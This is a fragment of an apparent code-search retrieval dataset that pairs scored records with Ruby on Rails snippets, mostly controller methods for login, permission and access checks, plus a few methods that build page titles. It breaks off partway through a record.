"2f39b67f461715b6dc66447303672b8f", "score": "0.68845093", "text": "def check_visibility\n if @check_visibility_of.respond_to?(:restricted) && @check_visibility_of.restricted && User.current_user.nil?\n redirect_to login_path(:restricted => true)\n else\n is_hidden = (@check_visibility_of.respond_to?(:visible) && !@check_visibility_of.visible) || \n (@check_visibility_of.respond_to?(:visible?) && !@check_visibility_of.visible?) || \n (@check_visibility_of.respond_to?(:hidden_by_admin?) && @check_visibility_of.hidden_by_admin?)\n can_view_hidden = current_user_owns?(@check_visibility_of)\n access_denied if (is_hidden && !can_view_hidden)\n end\n end", "title": "" }, { "docid": "aafddda6b178a06e70d63ad92b68628d", "score": "0.6881619", "text": "def validate_access\n if @user_logged_in != @question.user\n render status: :forbidden\n end\n end", "title": "" }, { "docid": "cabab2afacbb9fe38eade94c68086a79", "score": "0.68607664", "text": "def check_access\n result = false\n if current_user.is_a? Admin\n result = true\n elsif !@template_day_part.nil?\n result = @template_day_part.patient.dietician.id == current_user.id\n end\n unless result\n redirect_to root_path, alert: \"Brak dostępu!\"\n end\n end", "title": "" }, { "docid": "2a02a525a85f1139f9b8a5e05e9d54ca", "score": "0.6849808", "text": "def check_permissions()\n\t\traise AuthError, \"Illegal operation\" unless @admin_user.can?(AdminUser::PERMISSION_ERROR_TRACKER)\n\tend", "title": "" }, { "docid": "d33f55c21cd583bed1b7681a8186632c", "score": "0.6839574", "text": "def authorize(ctrl = params[:controller], action = params[:action])\n unless @project.active?\n @project = nil\n render_404\n return false\n end\n # check if action is allowed on public projects\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ ctrl, action ]\n return true\n end \n # if action is not public, force login\n return unless require_login \n # admin is always authorized\n return true if self.logged_in_user.admin?\n # if not admin, check membership permission \n if logged_in_user_membership and Permission.allowed_to_role( \"%s/%s\" % [ ctrl, action ], logged_in_user_membership ) \n return true\t\t\n end\t\t\n render_403\n false\n end", "title": "" }, { "docid": "d8a426ebb9ec02f6e648f22ce5001726", "score": "0.68366027", "text": "def should_check_can?(action)\n instance_method(\"can_#{action}?\").owner != Seek::Permissions::ActsAsAuthorized\n end", "title": "" }, { "docid": "600c7ea4a8a91c995e6df2414aef3b70", "score": "0.68359", "text": "def verify_access\n return true if current_user.admin? && FeatureToggle.enabled?(:sys_admin_page, user: current_user)\n\n Rails.logger.info(\"User with roles #{current_user.roles.join(', ')} \"\\\n \"couldn't access #{request.original_url}\")\n\n session[\"return_to\"] = request.original_url\n redirect_to \"/unauthorized\"\n end", "title": "" }, { "docid": "cbb25007039339c860fc99c75ff38865", "score": "0.6825914", "text": "def verify_access\n return false unless business_line\n return true if current_user.admin?\n return true if current_user.can?(\"Admin Intake\")\n return true if business_line.user_has_access?(current_user)\n\n Rails.logger.info(\"User with roles #{current_user.roles.join(', ')} \"\\\n \"couldn't access #{request.original_url}\")\n\n session[\"return_to\"] = request.original_url\n redirect_to \"/unauthorized\"\n end", "title": "" }, { "docid": "65d81127e371b179085c2856a15deb8e", "score": "0.6821068", "text": "def check_permissions\r\n unless logged_in? && current_user.has_role?(['Admin'])\r\n render :json => {:errors => \"Unauthorized\"}, :status => :unauthorized \r\n return\r\n end\r\n end", "title": "" }, { "docid": "8479b88d143a66c18abd852eade49854", "score": "0.6813787", "text": "def check_if_accessioned\n return true if get_lifecycle('accessioned')\n\n false\n end", "title": "" }, { "docid": "3557c0980097a7be835d22e95b5d5125", "score": "0.6812728", "text": "def check_ownership\n \taccess_denied(:redirect => @check_ownership_of) unless current_user_owns?(@check_ownership_of)\n end", "title": "" }, { "docid": "fe8f483da6f442833d623e8cb416b822", "score": "0.68026674", "text": "def login_required\n \n if not protect?(action_name)\n return true \n end\n\n if user? and authorize?(session[:user])\n return true\n end\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n \n # call overwriteable reaction to unauthorized access\n access_denied #reason\n return false \n end", "title": "" }, { "docid": "fb1a257654c1cc6ef2f6751ecf1b73d7", "score": "0.6788691", "text": "def enforce_access_controls(opts={})\n controller_action = params[:action].to_s\n delegate_method = \"enforce_#{controller_action}_permissions\"\n if self.respond_to?(delegate_method.to_sym, true)\n self.send(delegate_method.to_sym)\n else\n true\n end\n end", "title": "" }, { "docid": "f99a3f4ae8a0f447780b89a742cfa3c4", "score": "0.6781712", "text": "def authorize(ctrl = params[:controller], action = params[:action])\r\n unless @project.active?\r\n @project = nil\r\n render_404\r\n return false\r\n end\r\n # check if action is allowed on public projects\r\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ ctrl, action ]\r\n return true\r\n end\r\n # if action is not public, force login\r\n return unless require_login\r\n # admin is always authorized\r\n return true if self.logged_in_user.admin?\r\n # if not admin, check membership permission\r\n if logged_in_user_membership and Permission.allowed_to_role( \"%s/%s\" % [ ctrl, action ], logged_in_user_membership )\r\n return true\r\n end\r\n render_403\r\n false\r\n end", "title": "" }, { "docid": "d11da73d7a741de16ef5e4fb4157a01a", "score": "0.67772055", "text": "def access; end", "title": "" }, { "docid": "d11da73d7a741de16ef5e4fb4157a01a", "score": "0.67772055", "text": "def access; end", "title": "" }, { "docid": "32394a278f471be1fc989f63c285bf12", "score": "0.6775938", "text": "def manage_login_required\n manage_authorized? || manage_access_denied\n end", "title": "" }, { "docid": "5e19fd45f68d2efb5c4ed34bce0a738f", "score": "0.6766016", "text": "def check_permissions\n true\n end", "title": "" }, { "docid": "f0fb764a714d6ac3db72d49bffb96fe5", "score": "0.6763363", "text": "def authorize(ctrl = params[:controller], action = params[:action])\n allowed = User.current.allowed_to?({:controller => ctrl, :action => action}, nil, { :global => true})\n allowed ? true : deny_access\n end", "title": "" }, { "docid": "f1452c3a6a49d04214cd630135a3466c", "score": "0.6756254", "text": "def can_access_action?\n #logger.debug \"))))))) can access action check, action = #{params[:action]}\"\n accessible_actions = [:update, :preview, :get_data, :save_section, :save_item, :sections, :check_permalink]\n redirect_to root_path, :notice => t('app.msgs.not_authorized') if @edit_story_role == Story::ROLE[:translator] && !accessible_actions.include?(params[:action].to_sym)\n end", "title": "" }, { "docid": "a5c868f592ff1fd72b7386a19172f71a", "score": "0.6744041", "text": "def check_permission\n if (session[:admin_current_user].nil?)\n redirect_to \"/registration_home/index\"\n end\n end", "title": "" }, { "docid": "4b2730ad9da4e10f0d3ee3b9e3257a98", "score": "0.6742749", "text": "def check_authorization\n authorize!(:edit, current_order, session[:access_token])\n end", "title": "" }, { "docid": "26d42e00b131cdcda2fed3fcb30bf236", "score": "0.6742743", "text": "def can_access?(object)\n unless object.respond_to?(:user_id) ? (object.user_id == current_user.id) : true\n redirect_to root_path, :alert => \"没有访问权限\"\n end\n end", "title": "" }, { "docid": "d060f836bef1dfd921fd3e4aa305b985", "score": "0.6740345", "text": "def login_required\n # skip login check if action is not protected\n return true unless protect?(action_name)\n\n # check if user is logged in and authorized\n return true if logged_in? and authorized?(current_user)\n \n # store current location so that we can \n # come back after the user logged in\n store_location\n \n # call overwriteable reaction to unauthorized access\n access_denied and return false\n end", "title": "" }, { "docid": "3d9f9e16018e0ce47fa589c11ed96089", "score": "0.67326045", "text": "def verify_access\n unless current_user.id == @user.id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end", "title": "" }, { "docid": "ca71da0a25959671ec61d56077ef23da", "score": "0.6732186", "text": "def require_permission\n if request.path[0..5] == \"/admin\"\n elsif user_signed_in? && params[:id]\n if params[:controller].singularize.camelize.constantize.find(params[:id]).user_id != current_user.id\n lost_user_path\n # flash[:error] = \"Wrong route, You can only see your stuff.\"\n # redirect_to root_path\n end\n end\n end", "title": "" }, { "docid": "2cc27e5a1546e50fd38496f41e950372", "score": "0.6727203", "text": "def login_required\n # skip login check if action is not protected\n return true unless protect?(action_name)\n\n # check if user is logged in and authorized\n return true if logged_in? and authorized?(current_user)\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n\n # call overwriteable reaction to unauthorized access\n access_denied and return false\n end", "title": "" }, { "docid": "20e6d5d95ae645ef9a42140a7a19abff", "score": "0.67208284", "text": "def verify_access\n return false unless business_line\n return true if current_user.admin?\n return true if business_line.user_has_access?(current_user)\n\n Rails.logger.info(\"User with roles #{current_user.roles.join(', ')} \"\\\n \"couldn't access #{request.original_url}\")\n\n session[\"return_to\"] = request.original_url\n redirect_to \"/unauthorized\"\n end", "title": "" }, { "docid": "fa242e8f8ebb1f68e589d4e2db5815dd", "score": "0.67206985", "text": "def restrict_access\n return false if restricted_access\n end", "title": "" }, { "docid": "55e1679a4d5864e9a66ba03f11921f80", "score": "0.67134464", "text": "def authorize\n# DEBUG\n# logger.debug \"-- AUTHORIZE REQ: ctrl: #{params[:controller]}, action: #{params[:action]}\"\n# logger.debug \" params: #{params.inspect}\"\n# logger.debug \" session: #{session.inspect}\"\n# logger.debug \" request: #{request.fullpath()}\"\n unless app_status_is_ok?\n self_clean()\n redirect_to( wip_url() ) and return false\n end\n unless user = LeUser.find_by_id( session[:le_user_id] )\n session[:original_uri] = request.fullpath()\n # logger.debug \"* Session original URI set to '#{session[:original_uri]}'\"\n flash[:notice] = I18n.t(:login_to_proceed)\n redirect_to( login_url() ) and return false\n else\n # Check that current user in session is REALLY authorized to reach the request.fullpath:\n unless user.can_do( params[:controller], params[:action] )\n flash[:notice] = I18n.t(:access_denied)\n redirect_to( index_url() ) and return false\n end\n end\n true\n end", "title": "" }, { "docid": "f97804fbf8f61bfbb153f059e027a6bb", "score": "0.67126524", "text": "def check_permission\n if @user_annotation.nil?\n @user_annotation = UserAnnotation.find(params[:id])\n end\n if !@user_annotation.can_edit?(current_user)\n redirect_to merge_default_redirect_params(user_annotations_path, scpbr: params[:scpbr]),\n alert: \"You don't have permission to perform that action. #{SCP_SUPPORT_EMAIL}\"\n end\n end", "title": "" }, { "docid": "27afae9ccf1c7eeb60d5497b90c42968", "score": "0.6704404", "text": "def access\n if current_user\n unless User.verify_access(current_user)\n redirect_to(root_path, :notice => \"Действия запрещены\")\n end \n else\n redirect_to(log_in_path, :notice => \"Пожалуйста авторизируйтесь\")\n end\n end", "title": "" }, { "docid": "0591edb36adf1bf0416a1af5bf7d46f8", "score": "0.67043644", "text": "def check_access(request = nil)\n if request.is_a?(EvalEnvironment)\n eval_environment = request\n else\n eval_environment = EvalEnvironment.new(@controller.base, request, self)\n end\n\n if authenticator_to_use.is_a?(Moonrope::Authenticator)\n if rule = authenticator_to_use.rules[access_rule_to_use]\n eval_environment.instance_exec(self, &rule[:block]) == true\n else\n if access_rule_to_use == :default\n # The default rule on any authenticator will allow everything so we\n # don't need to worry about this not being defined.\n true\n else\n # If an access rule that doesn't exist has been requested, we will\n # raise an internal error.\n raise Moonrope::Errors::MissingAccessRule, \"The rule '#{access_rule_to_use}' was not found on '#{authenticator_to_use.name}' authenticator\"\n end\n end\n else\n true\n end\n end", "title": "" }, { "docid": "f2bce5c99a6e3e6c99141b8b4ab1d279", "score": "0.67003006", "text": "def check_permission\n unless user_has_access_to_form @visitation_form\n not_found\n end\n end", "title": "" }, { "docid": "a18b694c627ae3e74764404265d1972e", "score": "0.66995806", "text": "def login_required\n authorized? || raise(AccessDenied.new)\n end", "title": "" }, { "docid": "89ab3c7018506f9d37f8d7f033eab206", "score": "0.66963077", "text": "def check_permissions\n redirect_to index_path, alert: lack_permission_msg unless admin?\n end", "title": "" }, { "docid": "b6b7e2fa569bf386e665f3eedbc130ff", "score": "0.66960603", "text": "def check_privileges\n \tunless can_edit?('member')\n \t flash_t_general :errors, 'error.privileges'\n \t\tredirect_to project_members_path\n \tend\n end", "title": "" }, { "docid": "ac161dcfd10f2a16dd4cbc89a15840ec", "score": "0.66957706", "text": "def divider_access\n\t\tauthenticate_moderator! unless moderator_signed_in? || controller_name == \"guest_pages\" || legaly_actions.include?(action_name)\n\tend", "title": "" }, { "docid": "faed8972f2c1ee6fd66b4bb8da80f00d", "score": "0.6691703", "text": "def check_access\n redirect_to login_path and return unless current_user\n if current_user.access?(:all_users) || current_user.access?(:login_user)\n id = params[:id].to_i\n access = if params[:action] =~ /show_only/\n current_user.surveys.map {|s| s.id }.include?(id)\n else # show methods uses journal_entry id\n current_user.journal_entry_ids.include?(id)\n end\n else\n redirect_to login_path\n end\n end", "title": "" }, { "docid": "e8e3abc47b29e182600ec98d51a85d8e", "score": "0.668984", "text": "def check_authorization\n if !session[:is_admin]\n flash[:error] = \"You must be an administrator to access that function.\"\n redirect_to :controller => 'groups', :action => 'index'\n end\n end", "title": "" }, { "docid": "cbbbaf55c0d577d42d53e39ce9fa49e0", "score": "0.66819084", "text": "def authorization; end", "title": "" }, { "docid": "f430202ad52dacd9d3b9a1a3f8529a4d", "score": "0.6681747", "text": "def simple_auth\n return if is_admin? && action_name == 'index'\n @allowed = false\n @kickback_to = login_path\n \n # public areas\n if controller_name =~ /(pages)|(email_blasts)/ && action_name == 'show'\n @allowed = true\n elsif controller_name =~/(user_sessions)|(password_resets)/\n @allowed = true\n elsif controller_name =~/(blog_posts)/ && action_name == 'index'\n @allowed = true\n elsif controller_name =~ /(helps)/ && %w(index show).include?(action_name)\n @allowed = true\n elsif controller_name == 'listings' && %w(home locator show compare).include?(action_name)\n @allowed = true\n elsif controller_name =~ /(posts)|(comments)|(info_requests)/ && %w(show create rss).include?(action_name)\n @allowed = true\n elsif controller_name =~ /(rentals)|(tenants)|(clients)/ && %w(new create activate).include?(action_name)\n @allowed = true\n elsif controller_name == 'password_resets' && %w(new edit update).include?(action_name)\n @allowed = true\n elsif controller_name == 'ajax'\n @allowed = true\n elsif %w(admin searches).include?(controller_name) || action_name == 'index'\n @allowed = current_user && current_user.has_role?('admin', 'staff')\n # restrict access to everything else by permissions\n elsif current_user\n @allowed = is_admin? ? true : current_user.has_permission?(controller_name, action_name, params, get_model)\n end\n \n unless @allowed\n flash[:error] = 'Access Denied'\n store_location\n redirect_to kick_back_path and return\n end\n end", "title": "" }, { "docid": "8ba0c459183e1522cd93b306deae01ae", "score": "0.66797125", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "8ba0c459183e1522cd93b306deae01ae", "score": "0.66797125", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "8ba0c459183e1522cd93b306deae01ae", "score": "0.66797125", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "127b2b21885e7797188aa574e93345b9", "score": "0.6675967", "text": "def check_access(login_required = true, admin_only = false, special_access_strategy = nil)\n if login_required\n if not current_user\n redirect_user({}) and return false\n end\n end\n if admin_only\n if not is_current_user_admin?\n redirect_user({}) and return false\n end\n end\n if is_current_user_admin?\n return true\n end\n if special_access_strategy.nil?\n return true\n else\n if not (special_access_strategy.call())\n redirect_user({}) and return false\n else\n return true\n end\n end\n end", "title": "" }, { "docid": "1a1b06339764277f9510f9bb35ac10bb", "score": "0.66748977", "text": "def check_permission?\n true\n end", "title": "" }, { "docid": "585a534d86856d804291cc01057d51ec", "score": "0.6673787", "text": "def authorize_access\n if session[:accessed_user] != current_user.id\n render :file => \"#{Rails.root}/public/404.html\", :status => 404\n end\n end", "title": "" }, { "docid": "0bc198d3b148c7f2d10bdc0ac0b89b38", "score": "0.6660504", "text": "def authorization_check\n if session[:current_user] == nil\n redirect '/not_authorized'\n else\n return true\n end\nend", "title": "" }, { "docid": "30fecf8eb1c14d2f32e8736e0c82b19f", "score": "0.6660228", "text": "def can?(*args); controller.can?(*args); end", "title": "" }, { "docid": "6d6d80083c18e5c6bd8b9b77a98696cb", "score": "0.6655469", "text": "def read_access_check\n resource_check('read')\n end", "title": "" }, { "docid": "00784e285625e29ff16acca0bb4e7858", "score": "0.6652848", "text": "def check_access\n if @post.user != current_user\n flash[:error] = t('cannot_edit_post')\n redirect_to :root\n return false\n end\n end", "title": "" }, { "docid": "d7a8c8f4122f98e89cf157b304b9098b", "score": "0.66484565", "text": "def pre_check_access\n if signed_in?\n # users with a local role have access to Overmind\n if current_user.role.blank?\n # other users will only access if they have a valid PADMA Account\n unless current_user.padma_enabled?\n raise CanCan::AccessDenied # TODO nice unauthorized window like CRM.\n end\n end\n end\n end", "title": "" }, { "docid": "f594f3aa60c852ab77641369b433b249", "score": "0.66476816", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "f594f3aa60c852ab77641369b433b249", "score": "0.66476816", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "f594f3aa60c852ab77641369b433b249", "score": "0.66476816", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "f594f3aa60c852ab77641369b433b249", "score": "0.66476816", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "f594f3aa60c852ab77641369b433b249", "score": "0.66476816", "text": "def login_required\n authorized? || access_denied\n end", "title": "" }, { "docid": "c583f5f921320f89e3df7d7b42240e87", "score": "0.6641968", "text": "def authorize_monitoring\n authorize! :manage, :monitoring\n end", "title": "" }, { "docid": "d15ffb90bff3b551344fe6f237ed1ad6", "score": "0.6635759", "text": "def authorize\r\n required_perm = \"#{controller_path}/#{action_name}\"\r\n reset_previous_location\r\n unless @guest_perms.include? required_perm\r\n message = String.new\r\n unless logged_in?\r\n message = \"The #{required_perm} action is not authorized unless you are logged in.\" \r\n #session[:return_to] = session[:prev_uri]\r\n #ensure you change \"user\" to your login controller name\r\n #redirect_to root_url\r\n #redirect_back_or_root\r\n else\r\n unless current_user.authorized? required_perm\r\n message = \"Your user is not authorized to access #{required_perm}.\"\r\n #redirect_to root_url\r\n #redirect_back_or_root\r\n end\r\n end\r\n if !message.blank?\r\n if request.xhr?\r\n render :text => \"<p style=\\\"color: green\\\">#{message}</p>\"\r\n else\r\n flash[:notice] = message\r\n access_denied\r\n # redirect_back fallback_location: root_url\r\n end\r\n return false\r\n end\r\n end\r\n #session[:prev_uri] = request.request_uri\r\n return true\r\n end", "title": "" }, { "docid": "39872b9311bdd73124adf5ab2c36722a", "score": "0.6635262", "text": "def may_access?\n\t\tret=!self.role.nil? && !self.group.nil? && !self.project.nil?\n\t\t#puts \"User.may_access?:#{ret}\"\n\t\tret\n\tend", "title": "" }, { "docid": "9dff3c4d429ba9d6cfb47752f12a240f", "score": "0.66333336", "text": "def check_rights\n #Only SA or user can edit/delete their accounts\n unless is_super? || current_user.local_admin? && current_user.id == params[:id].to_i\n flash[:danger] = tf('common.flash.no_access')\n #Redirect\n redirect_to show_path_resolver(current_user)\n end\n end", "title": "" }, { "docid": "01c4762d540a8097775a6ff8413acdd6", "score": "0.66332567", "text": "def authorize_for(controller, action) \r\n # check if action is allowed on public projects\r\n if @project.is_public? and Permission.allowed_to_public \"%s/%s\" % [ controller, action ]\r\n return true\r\n end\r\n # check if user is authorized \r\n if @logged_in_user and (@logged_in_user.admin? or Permission.allowed_to_role( \"%s/%s\" % [ controller, action ], @logged_in_user.role_for_project(@project.id) ) )\r\n return true\r\n end\r\n return false\r\n end", "title": "" }, { "docid": "2e3b98a62d90249d69ee5691fb61f55f", "score": "0.6630311", "text": "def check_privileges!\n if current_user.is_admin != true\n redirect_to \"/\", notice: 'You dont have permission to be here'\n end\n end", "title": "" } ]
8649c8bc4070734b2e4e827146c47d99
'title' in the html usage of the word
[ { "docid": "e050cd6e3de0c996ac137dd146e44a1f", "score": "0.0", "text": "def title; [name,description].compact.join(\": \").to_s end", "title": "" } ]
[ { "docid": "e1c4f4b409eaccc81c7de6f838a6399e", "score": "0.7543839", "text": "def title(str = t(:'.title'))\n\t @_title = str\n\t content_tag :h1, str\n\tend", "title": "" }, { "docid": "8dfd9c954c30552507e6deb49c0f9ef3", "score": "0.7411572", "text": "def title\n t(\".title\")\n end", "title": "" }, { "docid": "eb1a9a38f4bfc51405d13f58c26fb0c3", "score": "0.741095", "text": "def title() @name; end", "title": "" }, { "docid": "2cfed9c9c557aa8c1e4f7b1f00354921", "score": "0.7363379", "text": "def html_title\n polytexnic_html(title)\n end", "title": "" }, { "docid": "d551c1cf321a8af1bb7aee9db88afcc9", "score": "0.73110986", "text": "def title; name; end", "title": "" }, { "docid": "8e18d752ce431c38177afd398450219f", "score": "0.72690266", "text": "def text_name\n title.t.html_to_ascii\n end", "title": "" }, { "docid": "cf4f24219e8d035e5261fac19a164d54", "score": "0.7266043", "text": "def title\n if @link_to_document\n helpers.link_to_document presenter.document, @title.presence || content.presence, counter: @counter, itemprop: 'name'\n else\n content_tag('span', @title.presence || content.presence || presenter.heading, itemprop: 'name')\n end\n end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "e4d08ff156ae44c2ce1a9a33962d30e9", "score": "0.7241924", "text": "def title; end", "title": "" }, { "docid": "6b6212655f2602648fd5fadd49c58617", "score": "0.7229739", "text": "def page_title()\n content_for :page_title || \"L'Associazione Miscela ti da il benvenuto sul suo sito ufficiale\"\n end", "title": "" }, { "docid": "42f1ddf8a1f6fb5e15a740b1ef247237", "score": "0.72236246", "text": "def name; title end", "title": "" }, { "docid": "b426f1e71c568620d27cb052e84b50e8", "score": "0.7220484", "text": "def help_title(text)\n output('puts','bold_help',text)\n end", "title": "" }, { "docid": "402359013a379fa875650b35c5d715fa", "score": "0.7218626", "text": "def title(tag)\n UI.bold { \"%15s\" % tag }\n end", "title": "" }, { "docid": "ec73540839bffb0d9136bf6f4c89f3bf", "score": "0.72184587", "text": "def name() title; end", "title": "" }, { "docid": "6f78d9605372b2929ae7aa9124aa8eb3", "score": "0.72005105", "text": "def full_title\n (definable? ? definition.name.to_s.upcase + \" - \" : \"\") + (debate && !debate.is_live? ? \"(<b>not public</b>) #{title}\" : title)\n end", "title": "" }, { "docid": "41a7e29834d032463cedede97375a983", "score": "0.71974534", "text": "def html_title\n self.polytexnic_html(title)\n end", "title": "" }, { "docid": "c259e5638431f8dc30021ec3e1aaadb6", "score": "0.7192739", "text": "def title; name; end", "title": "" }, { "docid": "2e2484ebc1b51e780ef37b2604a2acac", "score": "0.7153009", "text": "def title(heading)\n\t\tcontent_tag :span, class: \"title\" do heading end\n\tend", "title": "" }, { "docid": "a81ff08e2f2be065338c46038acb26ff", "score": "0.7142985", "text": "def title\n base_title =\"“Jugend musiziert” Nord- und Osteuropa\"\n # TODO: Append page title?\n # if @title.nil?\n # base_title\n # else\n # \"#{base_title} &ndash; #{@title}\"\n # end\n end", "title": "" }, { "docid": "58eecbba87e56ab01189d6a4db4ea865", "score": "0.71340996", "text": "def uniform_title\n descMetadata.uniform_title\n end", "title": "" }, { "docid": "06a9a36c3036ab8011af5beb31bc2743", "score": "0.71274793", "text": "def site_title(append)\n\t\t\"Trainbuddy | #{append}\"\n\tend", "title": "" }, { "docid": "b171cb721f963c9e78f395a30c7ab8c1", "score": "0.71142185", "text": "def plain_title(content)\n content_for(:html_title) { content }\n end", "title": "" }, { "docid": "7e530a433f84c26388d797cb0cbfa50d", "score": "0.71126884", "text": "def extended_title_from_doc doc, title\n alternativeTitle = alternative_title_from_doc doc\n if alternativeTitle != ''\n title += '<br/><br/>' + alternativeTitle\n end\n\n title\n end", "title": "" }, { "docid": "0e764b03f852eb4574f4335b3c8a64f3", "score": "0.71098447", "text": "def title\n\t\treturn @title.split.each_with_index{|word, index| word.capitalize! unless (([\"the\", \"and\", \"over\", \"a\", \"an\", \"of\", \"in\"].include?(word)) && index != 0)}.join(\" \")\n\tend", "title": "" }, { "docid": "858ecd39884a013ce4445b77ec4d173b", "score": "0.71087897", "text": "def full_title\n name\n end", "title": "" }, { "docid": "5ec63596ff6b59acb5304d85835fc712", "score": "0.70927954", "text": "def title_en\n search_by_itemprop 'alternativeHeadline'\n end", "title": "" }, { "docid": "212e023bc6e74a3d48e7f68dd0ffb5d0", "score": "0.7080692", "text": "def title_text\n\n\tend", "title": "" }, { "docid": "b7292ebdc7e4b7aec3420a6eb271e16a", "score": "0.7072615", "text": "def title(text)\n content_for :title, text\n end", "title": "" }, { "docid": "d3ca1571af25bea87ab04ab7b86afe94", "score": "0.7069994", "text": "def htitle(text, level)\n \"<h#{level}>#{text}</h#{level}>\"\nend", "title": "" }, { "docid": "226142b40c8b0d4b5e5d4e8f62f01f68", "score": "0.7066736", "text": "def title\n \"\\##{id}: \\\"#{name}\\\"\"\n end", "title": "" }, { "docid": "226142b40c8b0d4b5e5d4e8f62f01f68", "score": "0.7066736", "text": "def title\n \"\\##{id}: \\\"#{name}\\\"\"\n end", "title": "" }, { "docid": "bdc7126e57d36b76a038eb270b1daea5", "score": "0.7059404", "text": "def title\n \"View : #{@text}\"\n end", "title": "" }, { "docid": "463277b76feba491eb91125b3b8c2129", "score": "0.70463514", "text": "def page_title\n (@content_for_title + \" - \" if @content_for_title).to_s + \" The Louise Da-Cocodia Education Trust\"\n end", "title": "" }, { "docid": "6ecc2ac593cae16284ae7d0b5e192eda", "score": "0.7036178", "text": "def document_show_html_title\n @document[Blacklight.config[:show][:html_title]]\n end", "title": "" }, { "docid": "c1a064550cba92af13daaeb4fc5b9f21", "score": "0.7031857", "text": "def title=(word) \n\n\t\t@title = word\n\t\t@nonCapWords = [\"and\", \"or\", \"the\", \"in\", \"on\", \"of\", \"a\", \"an\"]\n\n\tend", "title": "" }, { "docid": "e41fdaddff5746874a22056ae6408d64", "score": "0.7029246", "text": "def title\n\tbase_title = \"Twister - spune ce gandesti\"\n\tif @title.nil?\n\t\tbase_title\n\telse\n\t\t\"#{base_title} | #{@title}\"\n\tend\nend", "title": "" }, { "docid": "a51d28d63243f273b8cc73a0cb9529c9", "score": "0.70278037", "text": "def title=(title); end", "title": "" }, { "docid": "48123e156510fe5957431bd066cc38ad", "score": "0.70145357", "text": "def title\n out = name.capitalize\n out << \" (#{note})\" if note\n out\n end", "title": "" }, { "docid": "8b0a0f7b19a809952dc25147ec5efef6", "score": "0.70144886", "text": "def full_subject(title)\n \"[Visualize the World] #{ title }\"\n end", "title": "" }, { "docid": "72f4842c4e840466c6dc0b88177bcdf8", "score": "0.70143735", "text": "def meta_title\n\t\twork.title + \" - \" + heading\n\tend", "title": "" }, { "docid": "ec4d465f887bb42c8318687777eff2ae", "score": "0.70058686", "text": "def title(text); content_for(:title){ (text.blank? ? '' : \"#{h(text)} - \") + APP_CONFIG['site_name'] }; end", "title": "" }, { "docid": "1f70380e43f1b2eb28e9fdf183e17e0b", "score": "0.7003753", "text": "def title\n remove_italics reference.title\n end", "title": "" }, { "docid": "494202407918ad7772144b0660f6e319", "score": "0.70024717", "text": "def document_show_html_title\n source_resource_title\n end", "title": "" }, { "docid": "843bd14172159daa77a4f69cf41222b7", "score": "0.7000377", "text": "def title\n #selecciona etiqueta title\n title_page = @doc.search(\"title\")\n #saca solo lo que esta escrito dentro de la etiqueta title\n puts \"Titulo: #{title_page.inner_text}\"\n end", "title": "" }, { "docid": "d2223a4bfda9ee2cacf535541363fdf7", "score": "0.7000026", "text": "def text\n title\n end", "title": "" }, { "docid": "770bb547fc05959aa976d251f7f95549", "score": "0.69973034", "text": "def page_title\n end", "title": "" }, { "docid": "27fa87d2a71ba93f7b3edf69ece37999", "score": "0.69897044", "text": "def title\n heading\n end", "title": "" }, { "docid": "9441eae6a30ec34ad608153f3116861a", "score": "0.6986283", "text": "def title(text)\n add_header \"<title>#{text}</title>\"\n \"<div class=\\\"title\\\">#{text}</div>\"\n end", "title": "" }, { "docid": "a392e95d9e4d97ecfe13229fa040f45d", "score": "0.697382", "text": "def title=(_arg0); end", "title": "" }, { "docid": "1b0ba1b6e0dc55a8d228be77a12707e4", "score": "0.69654787", "text": "def echo_title\n echo(\"----------- #{@title} -----------\")\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "63f295cf74a10c8dbdb05a178c828ccc", "score": "0.69524", "text": "def title\n name\n end", "title": "" }, { "docid": "64a525fc5436f1151cab37aeef2edff3", "score": "0.695203", "text": "def title(text)\n content_for(:title) { text }\n end", "title": "" }, { "docid": 